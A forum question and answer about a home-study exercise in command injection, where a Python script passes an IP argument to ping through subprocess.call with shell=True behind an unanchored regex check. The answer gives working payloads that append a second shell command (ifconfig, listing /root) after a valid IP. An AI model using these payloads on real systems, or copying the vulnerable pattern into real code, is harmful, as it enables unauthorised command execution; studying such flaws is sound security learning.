Python：subprocess.call注入

Question

I'm doing a home study and i've got the challenge of trying to insert a command injection into some Python code.

the trouble i'm having is with the check, cant seem to bypass it.

address = sys.argv[1]
if not re.match("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", address):
   return usage("Invalid argument")

subprocess.call("/bin/ping -c 3 '{0}'".format (address), shell = True)

cause the check above the subprocess checks if it' a valid IP address I can't manipulate it, and advise how to do this?

With kind regards, Patrick

Answer 1

You can use a valid ip address followed by a system command, eg :

127.0.0.1';/sbin/ifconfig;:'

If you want to include arguments, wrap argv[1] in double quotes :

"127.0.0.1';/bin/ls -al /root;'"